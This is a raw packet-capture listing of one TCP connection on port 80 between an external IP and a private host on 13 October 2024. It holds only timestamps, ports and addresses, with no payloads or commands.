Oct 13, 2024 01:40:00.103043079 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103055954 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.103076935 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103089094 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.103111029 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103157043 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.103162050 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103197098 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103229046 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103261948 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103269100 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.103296041 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103310108 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.103329897 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103379011 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103398085 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.103447914 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103480101 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103493929 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.103518009 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103549957 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103573084 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.103583097 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103615999 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103647947 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103662968 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.103678942 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103691101 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.103713989 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103746891 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103780031 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103800058 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.103812933 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103822947 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.103847980 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103879929 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.103926897 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.105119944 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.105159044 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.105210066 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.105218887 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.105252981 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.105262041 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.105297089 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.105345964 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.105379105 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.105396986 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.105412960 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.105422020 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.105467081 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.105495930 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.105528116 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.105544090 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.105561018 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.105567932 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.105595112 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.105628014 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.105660915 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.105675936 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.105710030 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.107256889 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107290983 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107322931 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107337952 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.107373953 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107439995 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.107444048 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107479095 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107525110 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.107532978 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107566118 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107598066 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107626915 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107630968 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.107677937 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107712030 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107724905 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.107744932 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107757092 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.107798100 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107839108 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107871056 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107882977 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.107904911 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107912064 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.107939005 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.107973099 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.108005047 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.108016968 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.108036995 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.108043909 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.108072042 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.108117104 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.108149052 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.108159065 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.108194113 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.160234928 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.160259008 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.160275936 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.160290956 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.160336971 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.160347939 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.160352945 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.160372019 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.160382986 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.160387039 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.160407066 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.160419941 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.180568933 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.180619955 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.180658102 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.180669069 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.180772066 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.180819035 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.180828094 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.180865049 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.180897951 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.180910110 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.180932999 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.180978060 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.187666893 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.187735081 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.187786102 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.187792063 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.187849998 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.187884092 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.187897921 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.187917948 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.187963963 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.187975883 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188010931 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188045025 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188059092 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.188079119 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188112020 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188127041 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.188146114 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188184023 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188215971 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188230038 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.188251972 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188267946 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.188282013 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188314915 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188330889 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.188352108 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188385010 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188417912 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188426971 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.188452959 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188467026 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.188487053 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.188532114 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.192934990 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.192981005 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193028927 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.193041086 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193095922 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193140984 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.193147898 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193183899 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193217039 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193233013 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.193289042 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193321943 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193336010 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.193356991 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193403006 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.193408012 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193444014 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193486929 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.193494081 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193532944 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193563938 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193593025 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.193597078 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193630934 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193643093 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.193666935 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193700075 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193713903 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.193734884 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193767071 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193782091 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.193799973 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193835974 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193869114 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193880081 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.193917036 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.193924904 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193959951 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.193991899 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194005013 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.194026947 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194071054 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194077015 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.194104910 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194140911 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194171906 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.194174051 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194207907 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194221020 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.194242001 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194273949 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194286108 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.194308043 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194340944 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194355011 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.194375992 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194408894 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194442034 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194451094 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.194475889 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194485903 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.194511890 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194545031 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.194592953 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.195832968 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.195874929 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.195888042 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.195934057 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.195970058 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.195981026 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.196049929 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.196095943 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.196103096 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.196139097 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.196176052 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.196204901 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.196208954 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.196244955 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.196257114 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.196279049 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.196312904 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.196326971 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.196346045 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.196379900 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.196404934 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.196413040 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.196449041 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.196459055 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.198035955 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198087931 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.198091030 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198143959 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198178053 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198189974 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.198235035 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198268890 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198282957 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.198321104 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198348999 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198368073 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.198380947 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198415041 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198441982 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.198447943 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198481083 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198492050 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.198519945 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198565960 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.198575974 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198611021 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198645115 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198654890 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.198729038 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198775053 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.198781967 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198816061 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198849916 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198863983 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.198885918 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198939085 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.198982000 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.250941992 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.251127005 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.251177073 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.251210928 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.251244068 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.251276016 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.251311064 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.251327038 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.251327038 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.251327038 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.251348019 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.251419067 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.271497965 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.271552086 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.271589994 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.271609068 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.271624088 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.271658897 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.271692038 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.271729946 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.271807909 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.271807909 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.277841091 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.277884960 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.277904034 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.277944088 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.277978897 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.277990103 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.278032064 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278067112 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278079033 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.278105021 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278137922 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278151989 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.278175116 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278222084 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.278225899 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278261900 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278292894 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278326035 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278328896 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.278361082 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278376102 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.278394938 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278445959 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278479099 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.278480053 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278513908 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278527021 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.278548002 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278580904 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278614044 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278624058 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.278650045 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.278665066 CEST	49720	80	192.168.2.5	185.208.158.47
Oct 13, 2024 01:40:00.283679962 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.283725023 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.283783913 CEST	80	49720	185.208.158.47	192.168.2.5
Oct 13, 2024 01:40:00.283788919 CEST	49720	80	192.168.2.5	185.208.158.47
